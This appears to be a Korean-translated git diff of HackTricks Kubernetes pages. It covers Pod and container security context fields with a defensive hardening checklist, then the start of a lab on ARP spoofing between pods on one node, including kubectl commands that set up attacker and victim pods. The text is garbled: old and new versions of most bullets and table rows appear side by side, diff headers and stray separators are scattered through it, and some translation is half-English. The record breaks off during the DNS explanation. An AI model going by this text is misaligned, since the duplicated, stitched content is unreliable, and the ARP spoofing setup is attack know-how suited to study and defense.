Pod의 보안 컨텍스트를 지정할 때 여러 속성을 사용할 수 있습니다. 방어적 보안 관점에서 고려해야 할 사항은 다음과 같습니다:
|
||||
Pod의 security context를 지정할 때 여러 속성을 사용할 수 있습니다. 방어적 보안 관점에서는 다음을 고려해야 합니다:
|
||||
|
||||
- **runASNonRoot**를 **True**로 설정
|
||||
- **runAsUser** 구성
|
||||
- 가능하다면 **seLinuxOptions** 및 **seccompProfile**을 지정하여 **권한**을 **제한**하는 것을 고려
|
||||
- **runAsGroup** 및 **supplementaryGroups**를 통해 **privilege** **group** 접근을 **제공하지 않음**
|
||||
- **runAsUser**를 구성
|
||||
- 가능하다면 **seLinuxOptions**와 **seccompProfile**을 지정하여 **권한**을 **제한**
|
||||
- **runAsGroup** 및 **supplementaryGroups**를 통해 **privilege** **group** 접근 권한을 **주지 말 것**
|
||||
|
||||
| 매개변수 | 설명 |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>정수</em></p> | <p><strong>모든 컨테이너에 적용되는 특별 보조 그룹</strong>. 일부 볼륨 유형은 Kubelet이 해당 볼륨의 소유권을 Pod에 의해 소유되도록 <strong>변경</strong>할 수 있게 합니다:<br>1. 소유 GID는 FSGroup이 됩니다.<br>2. setgid 비트가 설정됩니다 (볼륨에서 생성된 새 파일은 FSGroup에 의해 소유됩니다).<br>3. 권한 비트는 rw-rw----와 OR 연산됩니다. 설정되지 않으면 Kubelet은 볼륨의 소유권 및 권한을 수정하지 않습니다.</p> |
|
||||
| Parameter | Description |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Pod의 <strong>모든 containers</strong>에 적용되는 특수 supplemental group입니다. 일부 volume 유형은 Kubelet이 해당 volume의 <strong>소유권을 Pod 소유로 변경</strong>하도록 허용합니다:<br>1. 소유 GID는 FSGroup이 됩니다<br>2. setgid 비트가 설정됩니다( volume에서 생성된 새 파일은 FSGroup 소유가 됨 )<br>3. permission 비트는 rw-rw----와 OR 됩니다. 설정되지 않으면 Kubelet은 어떤 volume의 소유권과 permissions도 수정하지 않습니다</p> |
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>문자열</em></p> | Pod 내부에서 노출되기 전에 **볼륨의 소유권 및 권한을 변경하는** 동작을 정의합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>정수</em></p> | **컨테이너 프로세스의 진입점 실행을 위한 GID**. 설정되지 않으면 런타임 기본값을 사용합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>부울</em></p> | 컨테이너가 비루트 사용자로 실행되어야 함을 나타냅니다. true인 경우 Kubelet은 런타임에서 이미지를 검증하여 UID 0(루트)로 실행되지 않도록 하며, 그렇다면 컨테이너 시작에 실패합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>정수</em></p> | **컨테이너 프로세스의 진입점 실행을 위한 UID**. 지정되지 않으면 이미지 메타데이터에 지정된 사용자로 기본값을 설정합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>에 대한 더 많은 정보</em> <em><strong>seLinux</strong></em></p> | **모든 컨테이너에 적용될 SELinux 컨텍스트**. 지정되지 않으면 컨테이너 런타임이 각 컨테이너에 대해 무작위 SELinux 컨텍스트를 할당합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>에 대한 더 많은 정보</em> <em><strong>Seccomp</strong></em></p> | 이 Pod의 **컨테이너에서 사용할 seccomp 옵션**. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>정수 배열</em></p> | **각 컨테이너에서 실행되는 첫 번째 프로세스에 적용되는 그룹 목록**, 컨테이너의 기본 GID 외에 추가로. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>배열</em><br><em>에 대한 더 많은 정보</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls는 **Pod에 사용되는 네임스페이스가 있는 sysctls 목록**을 보유합니다. 지원되지 않는 sysctls가 있는 Pod(컨테이너 런타임에 의해)는 시작에 실패할 수 있습니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | 모든 컨테이너에 적용되는 Windows 특정 설정. 지정되지 않으면 컨테이너의 SecurityContext 내의 옵션이 사용됩니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | Pod 내부에 노출되기 전에 **volume의 소유권과 permission을 변경**하는 동작을 정의합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | container process의 entrypoint를 실행할 **GID**입니다. 설정되지 않으면 runtime 기본값을 사용합니다. SecurityContext에서도 설정할 수 있습니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | container가 non-root 사용자로 실행되어야 함을 나타냅니다. true이면 Kubelet은 runtime에서 image를 검증하여 UID 0(root)으로 실행되지 않는지 확인하고, 그렇다면 container 시작을 실패시킵니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | container process의 entrypoint를 실행할 **UID**입니다. 지정하지 않으면 image metadata에 명시된 사용자로 기본 설정됩니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | 모든 containers에 적용될 **SELinux context**입니다. 지정하지 않으면 container runtime이 각 container마다 무작위 SELinux context를 할당합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | 이 Pod의 containers에서 사용할 **seccomp options**입니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | container의 primary GID 외에, 각 container에서 실행되는 첫 번째 process에 적용되는 **groups** 목록입니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls는 Pod에 사용되는 **namespaced sysctls 목록**을 보관합니다. 지원되지 않는 sysctls(container runtime 기준)를 가진 Pods는 시작에 실패할 수 있습니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | 모든 containers에 적용되는 Windows 전용 설정입니다. 지정하지 않으면 container의 SecurityContext 내 옵션이 사용됩니다. |
|
||||
|
||||
## SecurityContext
|
||||
|
||||
[**문서에서:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
|
||||
이 컨텍스트는 **컨테이너 정의** 내에서 설정됩니다. 방어적 보안 관점에서 고려해야 할 사항은 다음과 같습니다:
|
||||
이 context는 **containers definitions** 내부에 설정됩니다. 방어적 보안 관점에서는 다음을 고려해야 합니다:
|
||||
|
||||
- **allowPrivilegeEscalation**을 **False**로 설정
|
||||
- 민감한 **capabilities**를 추가하지 않음(필요 없는 것들은 제거)
|
||||
- 민감한 **capabilities**를 추가하지 말고(그리고 필요 없는 것은 제거)
|
||||
- **privileged**를 **False**로 설정
|
||||
- 가능하다면 **readOnlyFilesystem**을 **True**로 설정
|
||||
- **runAsNonRoot**를 **True**로 설정하고 **runAsUser**를 설정
|
||||
- 가능하다면 **seLinuxOptions** 및 **seccompProfile**을 지정하여 **권한**을 **제한**하는 것을 고려
|
||||
- **runAsGroup**을 통해 **privilege** **group** 접근을 **제공하지 않음.**
|
||||
- 가능하다면 **seLinuxOptions**와 **seccompProfile**을 지정하여 **권한**을 **제한**
|
||||
- **runAsGroup**을 통해 **privilege** **group** 접근 권한을 **주지 말 것.**
|
||||
|
||||
**SecurityContext와 PodSecurityContext** 모두에 설정된 속성은 **SecurityContext**에 지정된 값이 **우선**합니다.
|
||||
**SecurityContext**와 **PodSecurityContext** 모두에 설정된 속성은, **SecurityContext**에 지정된 값이 **우선**합니다.
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>부울</em></p> | **AllowPrivilegeEscalation**은 프로세스가 부모 프로세스보다 **더 많은 권한을 얻을 수 있는지** 제어합니다. 이 bool은 컨테이너 프로세스에 no_new_privs 플래그가 설정될지 여부를 직접 제어합니다. AllowPrivilegeEscalation은 컨테이너가 **Privileged**로 실행되거나 **CAP_SYS_ADMIN**을 가질 때 항상 true입니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation**은 process가 부모 process보다 **더 많은 privileges를 획득할 수 있는지**를 제어합니다. 이 bool은 container process에 no_new_privs 플래그를 설정할지 직접 제어합니다. container가 **Privileged**로 실행되거나 **CAP_SYS_ADMIN**을 가지면 AllowPrivilegeEscalation은 항상 true입니다 |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>에 대한 더 많은 정보</em> <em><strong>Capabilities</strong></em></p> | **컨테이너 실행 시 추가/제거할 수 있는 capabilities**. 기본적으로 기본 capabilities 세트를 사용합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>부울</em></p> | 특권 모드에서 컨테이너를 실행합니다. 특권 컨테이너의 프로세스는 본질적으로 **호스트의 루트와 동등합니다**. 기본값은 false입니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>문자열</em></p> | procMount는 **컨테이너에 사용할 proc 마운트의 유형**을 나타냅니다. 기본값은 DefaultProcMount로, 읽기 전용 경로 및 마스킹된 경로에 대한 컨테이너 런타임 기본값을 사용합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>부울</em></p> | 이 **컨테이너가 읽기 전용 루트 파일 시스템을 가지고 있는지** 여부. 기본값은 false입니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>정수</em></p> | **컨테이너 프로세스의 진입점을 실행하기 위한 GID**. 설정되지 않으면 런타임 기본값을 사용합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>부울</em></p> | 컨테이너가 **비루트 사용자로 실행되어야 함**을 나타냅니다. true인 경우 Kubelet은 런타임에서 이미지를 검증하여 UID 0(루트)로 실행되지 않도록 하며, 그렇다면 컨테이너 시작에 실패합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>정수</em></p> | **컨테이너 프로세스의 진입점을 실행하기 위한 UID**. 지정되지 않으면 이미지 메타데이터에 지정된 사용자로 기본값을 설정합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>에 대한 더 많은 정보</em> <em><strong>seLinux</strong></em></p> | **컨테이너에 적용될 SELinux 컨텍스트**. 지정되지 않으면 컨테이너 런타임이 각 컨테이너에 대해 무작위 SELinux 컨텍스트를 할당합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | 이 컨테이너에서 사용할 **seccomp 옵션**. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | 모든 컨테이너에 적용되는 **Windows 특정 설정**. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | containers 실행 시 추가/제거할 **capabilities**입니다. 기본 capabilities 세트가 기본값입니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | container를 privileged mode로 실행합니다. privileged containers의 process는 본질적으로 **host의 root와 동등**합니다. 기본값은 false입니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount는 containers에 사용할 **proc mount 유형**을 나타냅니다. 기본값은 readonly paths와 masked paths에 container runtime 기본값을 사용하는 DefaultProcMount입니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | 이 **container가 read-only root filesystem을 가지는지** 여부입니다. 기본값은 false입니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | container process의 entrypoint를 실행할 **GID**입니다. 설정되지 않으면 runtime 기본값을 사용합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | container가 **non-root 사용자로 실행되어야 함**을 나타냅니다. true이면 Kubelet은 runtime에서 image를 검증하여 UID 0(root)으로 실행되지 않는지 확인하고, 그렇다면 container 시작을 실패시킵니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | container process의 entrypoint를 실행할 **UID**입니다. 지정하지 않으면 image metadata에 명시된 사용자로 기본 설정됩니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | container에 적용될 **SELinux context**입니다. 지정하지 않으면 container runtime이 각 container마다 무작위 SELinux context를 할당합니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | 이 container에서 사용할 **seccomp options**입니다. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | 모든 containers에 적용되는 **Windows 전용 설정**입니다. |
|
||||
|
||||
## Practical workload review checklist
|
||||
|
||||
Pod 또는 workload template를 검토할 때는 `spec.securityContext`와 `containers`, `initContainers`, `ephemeralContainers` 아래의 모든 container-level `securityContext`를 확인하십시오. container-level 필드는 Pod-level 기본값을 덮어쓸 수 있으므로, 안전해 보이는 Pod default가 모든 container의 안전을 보장하지는 않습니다.
|
||||
|
||||
우선적으로 점검할 고위험 조합:
|
||||
|
||||
- `privileged: true`, 특히 `hostPID`, `hostIPC`, `hostNetwork`, `hostPath`, host ports, 또는 runtime socket mounts와 함께 사용된 경우
|
||||
- `SYS_ADMIN`, `NET_ADMIN`, `SYS_PTRACE`, `SYS_MODULE`, `DAC_READ_SEARCH`, `DAC_OVERRIDE` 같은 capabilities 추가
|
||||
- 공격자가 제어하는 code를 실행할 수 있는 containers에서 `allowPrivilegeEscalation: true` 또는 미설정
|
||||
- `seccompProfile: Unconfined`, `procMount: Unmasked`, 또는 민감한 workload에서 runtime profiles 누락
|
||||
- 신뢰할 수 없는 input을 처리하는 workload에서 writable root filesystem 또는 광범위한 writable volume mounts
|
||||
- multi-tenant namespaces에서 CPU, memory, 또는 ephemeral-storage requests와 limits 누락
|
||||
|
||||
대부분의 application workloads에는 non-root UID로 실행하고, `runAsNonRoot: true`를 설정하며, `allowPrivilegeEscalation: false`를 설정하고, 모든 capabilities를 drop한 뒤 필요한 최소한만 다시 추가하고, `seccompProfile: RuntimeDefault`를 사용하며, read-only root filesystem을 선호하고, host namespaces, hostPath mounts, privileged mode는 피하는 것이 좋은 baseline입니다.
|
||||
|
||||
cluster 수준에서는 가능하다면 [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/) namespace labels를 사용해 Kubernetes [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/)를 강제하십시오. 지원 가능한 namespaces에는 `restricted`를 사용하고, 일반 application namespaces에는 최소한 `baseline`을 사용하며, privileged 예외는 좁게 유지하고, 문서화하며, 신뢰할 수 있는 platform namespaces 또는 node pools로 격리하십시오.
|
||||
|
||||
## References
|
||||
|
||||
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
|
||||
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
- [https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/](https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/)
|
||||
- [https://kubernetes.io/docs/concepts/security/pod-security-standards/](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
|
||||
- [https://kubernetes.io/docs/concepts/security/pod-security-admission/](https://kubernetes.io/docs/concepts/security/pod-security-admission/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
Kubernetes에서는 기본 동작이 **같은 노드에 있는 모든 컨테이너** 간의 연결을 허용하는 것으로 관찰됩니다. 이는 네임스페이스 구분에 관계없이 적용됩니다. 이러한 연결은 **Layer 2** (이더넷)까지 확장됩니다. 결과적으로, 이 구성은 시스템을 취약점에 노출시킬 가능성이 있습니다. 특히, **악의적인 컨테이너**가 같은 노드에 위치한 다른 컨테이너에 대해 **ARP 스푸핑 공격**을 실행할 수 있는 가능성을 열어줍니다. 이러한 공격 중에 악의적인 컨테이너는 다른 컨테이너를 위한 네트워크 트래픽을 속여 가로채거나 수정할 수 있습니다.
|
||||
Kubernetes에서는 기본 동작으로 **same node**에 있는 **모든 containers** 간의 연결이 허용되는 것으로 관찰됩니다. 이는 namespace 구분과 무관하게 적용됩니다. 이러한 연결성은 **Layer 2** (Ethernet)까지 확장됩니다. 결과적으로 이 설정은 시스템을 취약하게 만들 수 있습니다. 구체적으로, 같은 node에 위치한 다른 containers에 대해 **malicious container**가 **ARP spoofing attack**을 실행할 가능성을 열어줍니다. 이 공격 동안 malicious container는 다른 containers를 대상으로 하는 network traffic을 교묘하게 가로채거나 수정할 수 있습니다.
|
||||
|
||||
ARP 스푸핑 공격은 **공격자가 지역 네트워크를 통해 위조된 ARP** (주소 확인 프로토콜) 메시지를 전송하는 것을 포함합니다. 이로 인해 **공격자의 MAC 주소가 네트워크의 합법적인 컴퓨터 또는 서버의 IP 주소와 연결됩니다**. 이러한 공격이 성공적으로 실행된 후, 공격자는 전송 중인 데이터를 가로채거나 수정하거나 심지어 중단할 수 있습니다. 이 공격은 OSI 모델의 Layer 2에서 실행되므로, Kubernetes에서 이 레이어의 기본 연결이 보안 문제를 일으킬 수 있습니다.
|
||||
ARP spoofing attacks는 **attacker가 위조된 ARP** (Address Resolution Protocol) 메시지를 local area network를 통해 전송하는 것을 포함합니다. 그 결과 **attacker의 MAC address가 network상의 정상 computer 또는 server의 IP address와 연결**됩니다. 이러한 공격이 성공적으로 수행된 후, attacker는 전송 중인 data를 가로채거나, 수정하거나, 심지어 중단할 수도 있습니다. 이 공격은 OSI model의 Layer 2에서 수행되므로, 이 계층에서 Kubernetes의 기본 연결성은 security concerns를 야기합니다.
|
||||
|
||||
4대의 머신이 생성될 시나리오는 다음과 같습니다:
|
||||
이 시나리오에서는 4 machines가 생성됩니다:
|
||||
|
||||
- ubuntu-pe: 노드로 탈출하고 메트릭을 확인하기 위한 권한 있는 머신 (공격에 필요하지 않음)
|
||||
- **ubuntu-attack**: 기본 네임스페이스의 **악의적인** 컨테이너
|
||||
- **ubuntu-victim**: kube-system 네임스페이스의 **희생자** 머신
|
||||
- **mysql**: 기본 네임스페이스의 **희생자** 머신
|
||||
- ubuntu-pe: node로 escape하고 metrics를 확인하기 위한 Privileged machine (attack에는 필요 없음)
|
||||
- **ubuntu-attack**: default namespace의 **malicious** container
|
||||
- **ubuntu-victim**: kube-system namespace의 **Victim** machine
|
||||
- **mysql**: default namespace의 **Victim** machine
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -96,22 +96,22 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
|
||||
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||||
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||||
```
|
||||
## 기본 Kubernetes 네트워킹
|
||||
## Basic Kubernetes Networking
|
||||
|
||||
여기서 소개된 네트워킹 주제에 대한 자세한 내용은 참조를 확인하세요.
|
||||
여기서 소개된 networking 주제에 대한 더 자세한 내용이 필요하면, references를 확인하세요.
|
||||
|
||||
### ARP
|
||||
|
||||
일반적으로 **노드 내의 pod 간 네트워킹**은 모든 pod를 연결하는 **브리지**를 통해 가능합니다. 이 브리지는 “**cbr0**”라고 불립니다. (일부 네트워크 플러그인은 자체 브리지를 설치합니다.) **cbr0는 ARP** (주소 확인 프로토콜) 해상도도 처리할 수 있습니다. cbr0에 수신 패킷이 도착하면 ARP를 사용하여 목적지 MAC 주소를 확인할 수 있습니다.
|
||||
일반적으로, **node 내부의 pod-to-pod networking**은 모든 pod를 연결하는 **bridge**를 통해 제공됩니다. 이 bridge는 “**cbr0**”라고 불립니다. (일부 network plugins는 자체 bridge를 설치합니다.) **cbr0는 ARP** (Address Resolution Protocol) resolution도 처리할 수 있습니다. incoming packet이 cbr0에 도착하면, ARP를 사용해 destination MAC address를 resolve할 수 있습니다.
|
||||
|
||||
이 사실은 기본적으로 **같은 노드에서 실행되는 모든 pod**가 **같은 노드의 다른 pod와 통신**할 수 있음을 의미합니다 (네임스페이스와 관계없이) 이더넷 수준(계층 2)에서.
|
||||
이 사실은 기본적으로 **같은 node에서 실행 중인 모든 pod**가 ethernet level (layer 2)에서 같은 node의 다른 어떤 pod와도 **communicate**할 수 있음을 의미합니다. (namespace와는 무관하게)
|
||||
|
||||
> [!WARNING]
|
||||
> 따라서, **같은 노드의 pod 간에 ARP 스푸핑 공격을 수행할 수 있습니다.**
|
||||
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
|
||||
|
||||
### DNS
|
||||
|
||||
Kubernetes 환경에서는 일반적으로 kube-system 네임스페이스에서 1개(또는 그 이상)의 **DNS 서비스가 실행되고** 있는 것을 찾을 수 있습니다:
|
||||
kubernetes 환경에서는 보통 kube-system namespace에 실행 중인 1개(또는 그 이상)의 **DNS services**를 찾을 수 있습니다:
|
||||
```bash
|
||||
kubectl -n kube-system describe services
|
||||
Name: kube-dns
|
||||
@@ -136,27 +136,30 @@ Port: metrics 9153/TCP
|
||||
TargetPort: 9153/TCP
|
||||
Endpoints: 172.17.0.2:9153
|
||||
```
|
||||
이전 정보에서 흥미로운 점을 볼 수 있습니다. **서비스의 IP**는 **10.96.0.10**이지만 **서비스를 실행하는 포드의 IP**는 **172.17.0.2**입니다.
|
||||
이전 정보에서 흥미로운 점을 볼 수 있습니다. **service의 IP**는 **10.96.0.10**이지만, service를 실행하는 **pod의 IP**는 **172.17.0.2**입니다.
|
||||
|
||||
어떤 포드 안에서 DNS 주소를 확인하면 다음과 같은 내용을 찾을 수 있습니다:
|
||||
어떤 pod 안에서든 DNS 주소를 확인하면 다음과 같은 것을 찾을 수 있습니다:
|
||||
```
|
||||
cat /etc/resolv.conf
|
||||
nameserver 10.96.0.10
|
||||
```
|
||||
그러나 **pod는** 해당 **주소**에 접근하는 방법을 **모릅니다**. 이 경우 **pod 범위**는 172.17.0.10/26입니다.
|
||||
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
|
||||
|
||||
따라서 **pod는 10.96.0.10 주소로 DNS 요청을 보낼 것입니다**, 이는 cbr0에 의해 **172.17.0.2로 변환됩니다**.
|
||||
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
|
||||
|
||||
> [!WARNING]
|
||||
> 이는 **pod의 DNS 요청**이 **항상** **브리지**를 통해 **서비스 IP를 엔드포인트 IP로 변환**하기 위해 간다는 것을 의미합니다. DNS 서버가 pod와 동일한 서브네트워크에 있더라도 말입니다.
|
||||
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
|
||||
>
|
||||
